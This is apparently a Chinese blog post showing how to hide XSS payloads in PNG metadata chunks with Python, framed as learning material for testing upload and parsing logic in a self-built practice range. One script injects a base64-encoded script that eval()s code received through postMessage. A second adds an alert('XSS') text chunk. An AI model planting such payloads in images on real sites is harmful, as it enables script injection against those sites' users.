其实方法有很多,你也可以下载现成的工具直接进行相对图形化界面的更改。
比如TweakPNG。
但是安装有些麻烦所以我选择用Python写一段。
用到的是pillow库,可以先去pip一下,不过一般都是Python内置的,不用操心
from PIL import Image
from PIL.ExifTags import TAGS
import base64
# 设置字段
with open('tomoya.png', 'rb') as f:
data = f.read()
payload = b'tEXtpayload\x00'+base64.b64encode(b'''
<script>
window.addEventListener('message',e=>{
if(e.data.type=='space-xss') eval(e.data.code)
})
</script>
''')
new_data = data.replace(b'IDAT', payload + b'IDAT')
此处只做示例,具体看情况变。
其实这种模式也仅供学习参考使用,就算是注入成功了,一般是不会执行的,需要经过解析。
而大部分的图片上传网页,也不会主动去解析图片里的内容或者exif,从而不会实现攻击。
又或者是需要通过第三方等方式促成解析。
其实还写了另一版:
from PIL.PngImagePlugin import PngInfo
import os
# 设置路径
DESKTOP = os.path.join(os.path.expanduser("~"), "\\Users\\Administrator\\Desktop\\000")
INPUT = os.path.join(DESKTOP, "tomoya.png")
OUTPUT = os.path.join(DESKTOP, "modified.png")
# 注入元数据
with Image.open(INPUT) as img:
meta = img.info.get("pnginfo", PngInfo())
meta.add_text("HiddenCode", "alert('XSS')")
img.save(OUTPUT, pnginfo=meta)
print(f"处理完成!输出文件: {OUTPUT}")
不过这一版写的比较简单,会破坏图片结构,同时成功率低。相比于前面的测试元数据解析逻辑来说,更可能会测试出转码引擎的效果,比如对损坏文件的表现等等。
可以自建靶场用来做测试,实际应用还会差一些的。
也有另一种方法让用户交互比如让用户下载保存图片,虽然这不是测试的目标。
本来最开始的时候是打算用svc格式的,但是这个大部分都修复了,也不允许该文件格式的上传。
思路也可以是,继续使用svc格式,然后想办法触发解析漏洞。
感谢浏览和学习,作者:鱼油YOU,转载请注明原文链接:https://www.cnblogs.com/OmegaYOU3/p/19043699,或者可以➕主播WX:OmegaAnimeman_desu;QQ:3819054512
浙公网安备 33010602011771号